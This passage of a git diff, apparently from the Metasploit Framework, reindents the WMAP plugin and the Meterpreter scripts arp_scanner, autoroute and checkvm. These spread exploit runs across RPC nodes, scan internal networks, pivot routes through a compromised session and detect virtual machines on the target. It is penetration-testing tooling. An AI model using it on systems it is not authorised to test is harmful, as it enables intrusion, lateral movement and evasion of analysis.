if not self.rpcarr + self.rpcarr = Hash.new() + end + + begin + istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" + if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil + print_error("Connection already exists #{istr}") + else + begin + temprpc = ::Msf::RPC::Client.new( + :host => host, + :port => port, + :ssl => ssl + ) + rescue + print_error "Unable to connect" + #raise ConnectionError + return + end + + res = temprpc.login( user , pass) + + if not res + print_error("Unable to authenticate to #{host}:#{port}.") + return + else + res = temprpc.call('core.version') + end + + print_status("Connected to #{host}:#{port} [#{res['version']}].") + self.rpcarr[istr] = temprpc + end + rescue + print_error("Unable to connect") + end + end + + def local_module_exec(mod,mtype, opts, nmaxjobs) + jobify = false + + modinst = framework.modules.create(mod) + + if(not modinst) + print_error("Unknown module") + return + end + + sess = nil + + case mtype + when 'auxiliary' + Msf::Simple::Auxiliary.run_simple(modinst, { + 'Action' => opts['ACTION'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + when 'exploit' + if not opts['PAYLOAD'] + opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) + end + + sess = Msf::Simple::Exploit.exploit_simple(modinst, { + 'Payload' => opts['PAYLOAD'], + 'Target' => opts['TARGET'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + else + print_error("Wrong mtype.") + end + + if sess + if (jobify == false and sess.interactive?) + print_line + driver.run_single("sessions -q -i #{sess.sid}") + else + print_status("Session #{sess.sid} created in the background.") + end + end + end + + def rpc_round_exec(mod,mtype, opts, nmaxjobs) + + res = nil + idx = 0 + + if active_rpc_nodes == 0 + if not self.runlocal + print_error("All active nodes not working or removed") + return + end + res = true + else + rpc_reconnect_nodes() + end + + if self.masstop + return + end + + while not res + if active_rpc_nodes == 0 + print_error("All active nodes not working or removed") + return + end + + #find the node with less jobs load. + minjobs = nmaxjobs + minconn = nil + nid = 0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_error("Skipping inactive node #{nid} #{k}") + else + begin + currentjobs = rpccon.call('job.list').length + + if currentjobs < minjobs + minconn = rpccon + minjobs = currentjobs + end + + if currentjobs == nmaxjobs + if self.nmaxdisplay == false + print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") + print_error("Waiting for available node/slot...") + self.nmaxdisplay = true + end + end + #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") + rescue + print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") + self.rpcarr[k]=nil + + if active_rpc_nodes == 0 + print_error("All active nodes ,not working or removed") + return + else + print_error("Sending job to next node") + next + end + end + end + nid += 1 + end + + if minjobs < nmaxjobs + res=minconn.call('module.execute', mtype, mod, opts) + self.nmaxdisplay = false + #print_status(">>>#{res} #{mod}") + + if res + if res.has_key?("job_id") + return + else + print_error("Unable to execute module in node #{k} #{res}") + end + end + else + #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") + end + + idx += 1 + end + + if self.runlocal and not self.masstop + local_module_exec(mod,mtype, opts, nmaxjobs) + end + end + + def rpc_db_nodes(host,port,user,pass,name) + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + self.rpcarr.each do |k,v| + if v + res = v.call('db.driver',{:driver => 'postgresql'}) + res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) + res = v.call('db.status') + + if res['db'] == name + print_status("db_connect #{res} #{host}:#{port} OK") + else + print_error("Error db_connect #{res} #{host}:#{port}") + end + else + print_error("No connection to node #{k}") + end + end + end + + def rpc_reconnect_nodes() + begin + # Sucky 5 mins token timeout. + + idx = nil + self.rpcarr.each do |k,rpccon| + if rpccon + idx = k + begin + currentjobs = rpccon.call('job.list').length + rescue + tarr = k.split("|") + rflag = false + + res = rpccon.login(tarr[3],tarr[4]) + + if res + rflag = true + print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") + break + else + raise ConnectionError + end + end + end + end + rescue + print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") + self.rpcarr[idx] = nil + if active_rpc_nodes == 0 + print_error("No active nodes") + self.masstop = true + else + #blah + end + end + end + + def rpc_kill_node(i,j) + + if not i + print_error("Nodes not defined") + return + end + + if not j + print_error("Node jobs defined") + return + end + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if idx == i.to_i or i.upcase == 'ALL' + #begin + if not rpccon + print_error("No connection to node #{idx}") + else + n = rpccon.call('job.list') + n.each do |id,name| + if j==id.to_s or j.upcase == 'ALL' + rpccon.call('job.stop',id) + print_status("Node #{idx} Killed job id #{id} #{name}") + end + end + end + #rescue + # print_error("No connection") + #end + end + idx += 1 + end + end + + def rpc_view_jobs() + indent = ' ' + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") + else + + arrk = k.split('|') + print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") + + begin + n = rpccon.call('job.list') + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Jobs', + 'Columns' => + [ + 'Id', + 'Job name', + 'Target', + 'PATH', + ]) + + n.each do |id,name| + jinfo = rpccon.call('job.info',id) + dstore = jinfo['datastore'] + tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] + end + + print_status tbl.to_s + "\n" + + rescue + print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") + end + end + idx += 1 + end + end + + + # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby + def quit? + begin + while c = driver.input.read_nonblock(1) + print_status("Quited") + return true if c == 'Q' + end + false + rescue Errno::EINTR + false + rescue Errno::EAGAIN + false + rescue EOFError + true + end + end + + def rpc_mon_nodes() + # Pretty monitor + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + colors = [ + '%grn', + '%blu', + '%yel', + '%whi' + ] + + #begin + loop do + rpc_reconnect_nodes() + + idx = 0 + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + v = "NOCONN" + n = 1 + c = '%red' + + if not rpccon + v = "NOCONN" + n = 1 + c = '%red' + else + begin + v = "" + c = '%blu' + rescue + v = "ERROR" + c = '%red' + end + + begin + n = rpccon.call('job.list').length + c = '%blu' + rescue + n = 1 + v = "NOCONN" + c = '%red' + end + end + + #begin + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" + @stdio.print_raw(@stdio.substitute_colors(msg)) + + #rescue + #blah + #end + sleep(2) + idx += 1 + end + end + #rescue + # print_status("End.") + #end + end + + def rpc_list_nodes() + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Nodes', + 'Columns' => + [ + 'Id', + 'Host', + 'Port', + 'SSL', + 'User', + 'Pass', + 'Status', + '#jobs', + ]) + + idx=0 + + rpc_reconnect_nodes() + + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + if not rpccon + v = "NOCONN" + n = "" + else + begin + v = rpccon.call('core.version')['version'] + rescue + v = "ERROR" + end + + begin + n = rpccon.call('job.list').length + rescue + n = "" + end + end + + tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] + idx += 1 + end + + print_status tbl.to_s + "\n" + end + + def active_rpc_nodes + if self.rpcarr.length == 0 + return 0 + else + idx = 0 + self.rpcarr.each do |k,conn| + if conn + idx += 1 + end + end + return idx + end + end + + def view_modules + indent = ' ' + + wmaptype = [:wmap_ssl, + :wmap_server, + :wmap_dir, + :wmap_file, + :wmap_unique_query, + :wmap_query, + :wmap_generic + ] + + if not self.wmapmodules + load_wmap_modules(true) + end + + wmaptype.each do |modt| + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => modt.to_s, + 'Columns' => + [ + 'Name', + 'OrderID', + ]) + + idx = 0 + self.wmapmodules.each do |w| + oid = w[3] + if w[3] == 0xFFFFFF + oid = ":last" + end + + if w[2] == modt + tbl << [w[0],oid] + idx += 1 + end + end + + print_status tbl.to_s + "\n" + end + end + + # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And + # sort_by of a hash returns an array so this is the reason for this ugly piece of code + def sort_by_orderid(m) + temphash=Hash.new() + temparr=[] + + temparr = m.sort_by do |xref,v| + xref[3] + end + + temparr.each do |b| + temphash[b[0]] = b[1] + end + temphash + end + + # Load all wmap modules + def load_wmap_modules(reload) + if reload or not self.wmapmodules + print_status("Loading wmap modules...") + + self.wmapmodules=[] + + idx = 0 + [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| + # Scan all exploit modules for matching references + mtype[0].each_module do |n,m| + e = m.new + + # Only include wmap_enabled plugins + if e.respond_to?("wmap_enabled") + penabled = e.wmap_enabled + + if penabled + self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] + idx += 1 + end + end + end + end + print_status("#{idx} wmap enabled modules loaded.") + end + end + + def view_vulns + framework.db.hosts.each do |host| + host.services.each do |serv| + serv.web_sites.each do |site| + site.web_vulns.each do |wv| + print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") + print_status("\t#{wv.name} #{wv.description}") + print_status("\t#{wv.method} #{wv.proof}") + end + end + end + end + end + end + + class WebTarget < ::Hash + def to_url + proto = self[:ssl] ? "https" : "http" + "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" + end + end + + + def initialize(framework, opts) + super + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + wmapversion = '1.5.1' + + wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" + wmapbanner += "%red| | | || | | || | || |-'%clr\n" + wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" + wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" + + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + + @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) + + add_console_dispatcher(WmapCommandDispatcher) + #print_status("#{wmapbanner}") + end + + def cleanup + remove_console_dispatcher('wmap') + end + + def name + "wmap" + end + + def desc + "Web assessment plugin" + end protected end diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index 4abe944c82c0..c71d201ce38c 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -3,111 +3,111 @@ ################## Variable Declarations ################## @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-i" => [ false, "Enumerate Local Interfaces"], - "-r" => [ true, "The target address range or CIDR identifier"], - "-s" => [ false, "Save found IP Addresses to logs."] + "-h" => [ false, "Help menu." ], + "-i" => [ false, "Enumerate Local Interfaces"], + "-r" => [ true, "The target address range or CIDR identifier"], + "-s" => [ false, "Save found IP Addresses to logs."] ) def enum_int - print_status("Enumerating Interfaces") - client.net.config.interfaces.each do |i| - if not i.mac_name =~ /Loopback/ - print_status("\t#{i.mac_name}") - print_status("\t#{i.ip}") - print_status("\t#{i.netmask}") - print_status() - end + print_status("Enumerating Interfaces") + client.net.config.interfaces.each do |i| + if not i.mac_name =~ /Loopback/ + print_status("\t#{i.mac_name}") + print_status("\t#{i.ip}") + print_status("\t#{i.netmask}") + print_status() + end - end + end end def arp_scan(cidr) - print_status("ARP Scanning #{cidr}") - ws = client.railgun.ws2_32 - iphlp = client.railgun.iphlpapi - i, a = 0, [] - iplst,found = [],"" - ipadd = Rex::Socket::RangeWalker.new(cidr) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - iplst.each do |ip_text| - if i < 10 - a.push(::Thread.new { - h = ws.inet_addr(ip_text) - ip = h["return"] - h = iphlp.SendARP(ip,0,6,6) - if h["return"] == client.railgun.const("NO_ERROR") - mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') - print_status("IP: #{ip_text} MAC #{mac_text}") - found << "#{ip_text}\n" - end - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - return found + print_status("ARP Scanning #{cidr}") + ws = client.railgun.ws2_32 + iphlp = client.railgun.iphlpapi + i, a = 0, [] + iplst,found = [],"" + ipadd = Rex::Socket::RangeWalker.new(cidr) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + iplst.each do |ip_text| + if i < 10 + a.push(::Thread.new { + h = ws.inet_addr(ip_text) + ip = h["return"] + h = iphlp.SendARP(ip,0,6,6) + if h["return"] == client.railgun.const("NO_ERROR") + mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') + print_status("IP: #{ip_text} MAC #{mac_text}") + found << "#{ip_text}\n" + end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + return found end def save_found(found_ip) - info = @client.sys.config.sysinfo - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + info = @client.sys.config.sysinfo + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #log file name - dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") + #log file name + dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") - print_status("Saving found IP's to #{dest}") - file_local_write(dest,found_ip) + print_status("Saving found IP's to #{dest}") + file_local_write(dest,found_ip) end save2log = false cidr2scan = "" @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-i" - enum_int - raise Rex::Script::Completed - when "-r" - cidr2scan = val - when "-s" - save2log = true - end + case opt + when "-h" + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-i" + enum_int + raise Rex::Script::Completed + when "-r" + cidr2scan = val + when "-s" + save2log = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if save2log - save_found(arp_scan(cidr2scan)) - else - arp_scan(cidr2scan) - end - else - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length > 0 + if save2log + save_found(arp_scan(cidr2scan)) + else + arp_scan(cidr2scan) + end + else + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 88602113e99e..2561dee91a22 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -13,190 +13,190 @@ # Options parsing @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help and usage"], - "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], - "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], - "-p" => [false, "Print active routing table. All other options are ignored"], - "-d" => [false, "Delete the named route instead of adding it"], - "-D" => [false, "Delete all routes (does not require a subnet)"] + "-h" => [false, "Help and usage"], + "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], + "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], + "-p" => [false, "Print active routing table. All other options are ignored"], + "-d" => [false, "Delete the named route instead of adding it"], + "-D" => [false, "Delete all routes (does not require a subnet)"] ) @@exec_opts.parse(args) { |opt, idx, val| - v = val.to_s.strip - case opt - when "-h" - usage - raise Rex::Script::Completed - when "-s" - if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ - subnet,cidr = v.split("\x2f") - netmask = Rex::Socket.addr_ctoa(cidr.to_i) - else - subnet = v - end - when "-n" - if (0..32) === v.to_i - netmask = Rex::Socket.addr_ctoa(v.to_i) - else - netmask = v - end - when "-p" - print_only = true - when "-d" - remove_route = true - when "-D" - remove_all_routes = true - end + v = val.to_s.strip + case opt + when "-h" + usage + raise Rex::Script::Completed + when "-s" + if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ + subnet,cidr = v.split("\x2f") + netmask = Rex::Socket.addr_ctoa(cidr.to_i) + else + subnet = v + end + when "-n" + if (0..32) === v.to_i + netmask = Rex::Socket.addr_ctoa(v.to_i) + else + netmask = v + end + when "-p" + print_only = true + when "-d" + remove_route = true + when "-D" + remove_all_routes = true + end } def delete_all_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - routes = [] - Rex::Socket::SwitchBoard.each do |route| - routes << {:subnet => route.subnet, :netmask => route.netmask} - end - routes.each {|route_opts| delete_route(route_opts)} - - print_status "Deleted all routes" - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + if Rex::Socket::SwitchBoard.routes.size > 0 + routes = [] + Rex::Socket::SwitchBoard.each do |route| + routes << {:subnet => route.subnet, :netmask => route.netmask} + end + routes.each {|route_opts| delete_route(route_opts)} + + print_status "Deleted all routes" + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Identical functionality to command_dispatcher/core.rb, and # nearly identical code def print_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Active Routing Table", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => - [ - 'Subnet', - 'Netmask', - 'Gateway', - ], - 'ColProps' => - { - 'Subnet' => { 'MaxWidth' => 17 }, - 'Netmask' => { 'MaxWidth' => 17 }, - }) - ret = [] - - Rex::Socket::SwitchBoard.each { |route| - if (route.comm.kind_of?(Msf::Session)) - gw = "Session #{route.comm.sid}" - else - gw = route.comm.name.split(/::/)[-1] - end - tbl << [ route.subnet, route.netmask, gw ] - } - print tbl.to_s - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + if Rex::Socket::SwitchBoard.routes.size > 0 + tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Active Routing Table", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'Subnet', + 'Netmask', + 'Gateway', + ], + 'ColProps' => + { + 'Subnet' => { 'MaxWidth' => 17 }, + 'Netmask' => { 'MaxWidth' => 17 }, + }) + ret = [] + + Rex::Socket::SwitchBoard.each { |route| + if (route.comm.kind_of?(Msf::Session)) + gw = "Session #{route.comm.sid}" + else + gw = route.comm.name.split(/::/)[-1] + end + tbl << [ route.subnet, route.netmask, gw ] + } + print tbl.to_s + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Yet another IP validator. I'm sure there's some Rex # function that can just do this. def check_ip(ip=nil) - return false if(ip.nil? || ip.strip.empty?) - begin - rw = Rex::Socket::RangeWalker.new(ip.strip) - (rw.valid? && rw.length == 1) ? true : false - rescue - false - end + return false if(ip.nil? || ip.strip.empty?) + begin + rw = Rex::Socket::RangeWalker.new(ip.strip) + (rw.valid? && rw.length == 1) ? true : false + rescue + false + end end # Adds a route to the framework instance def add_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) end # Removes a route to the framework instance def delete_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) end # Defines usage def usage() - print_status "Usage: run autoroute [-r] -s subnet -n netmask" - print_status "Examples:" - print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" - print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" - print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" - print_status " run autoroute -p # Print active routing table" - print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" - print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" - print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" + print_status "Usage: run autoroute [-r] -s subnet -n netmask" + print_status "Examples:" + print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" + print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" + print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" + print_status " run autoroute -p # Print active routing table" + print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" + print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" + print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" end # Validates the command options def validate_cmd(subnet=nil,netmask=nil) - if subnet.nil? - print_error "Missing -s (subnet) option" - return false - end - - unless(check_ip(subnet)) - print_error "Subnet invalid (must be IPv4)" - usage - return false - end - - if(netmask and !(Rex::Socket.addr_atoc(netmask))) - print_error "Netmask invalid (must define contiguous IP addressing)" - usage - return false - end - - if(netmask and !check_ip(netmask)) - print_error "Netmask invalid" - return usage - end - true + if subnet.nil? + print_error "Missing -s (subnet) option" + return false + end + + unless(check_ip(subnet)) + print_error "Subnet invalid (must be IPv4)" + usage + return false + end + + if(netmask and !(Rex::Socket.addr_atoc(netmask))) + print_error "Netmask invalid (must define contiguous IP addressing)" + usage + return false + end + + if(netmask and !check_ip(netmask)) + print_error "Netmask invalid" + return usage + end + true end if print_only - print_routes() - raise Rex::Script::Completed + print_routes() + raise Rex::Script::Completed end if remove_all_routes - delete_all_routes() - raise Rex::Script::Completed + delete_all_routes() + raise Rex::Script::Completed end raise Rex::Script::Completed unless validate_cmd(subnet,netmask) if remove_route - print_status("Deleting route to %s/%s..." % [subnet,netmask]) - route_result = delete_route(:subnet => subnet, :netmask => netmask) + print_status("Deleting route to %s/%s..." % [subnet,netmask]) + route_result = delete_route(:subnet => subnet, :netmask => netmask) else - print_status("Adding a route to %s/%s..." % [subnet,netmask]) - route_result = add_route(:subnet => subnet, :netmask => netmask) + print_status("Adding a route to %s/%s..." % [subnet,netmask]) + route_result = add_route(:subnet => subnet, :netmask => netmask) end if route_result - print_good "%s route to %s/%s via %s" % [ - (remove_route ? "Deleted" : "Added"), - subnet,netmask,client.sock.peerhost - ] + print_good "%s route to %s/%s via %s" % [ + (remove_route ? "Deleted" : "Added"), + subnet,netmask,client.sock.peerhost + ] else - print_error "Could not %s route" % [(remove_route ? "delete" : "add")] + print_error "Could not %s route" % [(remove_route ? "delete" : "add")] end if Rex::Socket::SwitchBoard.routes.size > 0 - print_status "Use the -p option to list all active routes" + print_status "Use the -p option to list all active routes" end diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index d968f9a1843d..5c824f13665c 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -4,349 +4,349 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") - print_line("USAGE: run checkvm") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") + print_line("USAGE: run checkvm") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } # Function for detecting if it is a Hyper-V VM def hypervchk(session) - begin - vm = false - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("Hyper-V") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif sfmsvals.include?("VirtualMachine") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - key.close - rescue - end + begin + vm = false + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("Hyper-V") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif sfmsvals.include?("VirtualMachine") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + key.close + rescue + end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmicheartbeat") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicvss") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicshutdown") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicexchange") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - rescue - end - end - return vm + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmicheartbeat") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicvss") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicshutdown") + print_status("This is a Hyper-V Virtual Machine") + vm = true + elsif srvvals.include?("vmicexchange") + print_status("This is a Hyper-V Virtual Machine") + vm = true + end + rescue + end + end + return vm end # Function for checking if it is a VMware VM def vmwarechk(session) - vm = false - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmdebug") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("vmmouse") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMTools") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMMEMCTL") - print_status("This is a VMware Virtual Machine") - vm = true - end - key.close - rescue - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vmware/ - print_status("This is a VMware Virtual Machine") - vm = true - end - rescue - end - end - if not vm - vmwareprocs = [ - "vmwareuser.exe", - "vmwaretray.exe" - ] - vmwareprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VMware Virtual Machine") if not vm - vm = true - end - end - end - end - key.close - return vm + vm = false + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) + srvvals = key.enum_key + if srvvals.include?("vmdebug") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("vmmouse") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMTools") + print_status("This is a VMware Virtual Machine") + vm = true + elsif srvvals.include?("VMMEMCTL") + print_status("This is a VMware Virtual Machine") + vm = true + end + key.close + rescue + end + if not vm + begin + key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') + if key.query_value('Identifier').data.downcase =~ /vmware/ + print_status("This is a VMware Virtual Machine") + vm = true + end + rescue + end + end + if not vm + vmwareprocs = [ + "vmwareuser.exe", + "vmwaretray.exe" + ] + vmwareprocs.each do |p| + session.sys.process.get_processes().each do |x| + if p == (x['name'].downcase) + print_status("This is a VMware Virtual Machine") if not vm + vm = true + end + end + end + end + key.close + return vm end # Function for checking if it is a Virtual PC VM def checkvrtlpc(session) - vm = false - vpcprocs = [ - "vmusrvc.exe", - "vmsrvc.exe" - ] - vpcprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VirtualPC Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vpcbus") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif 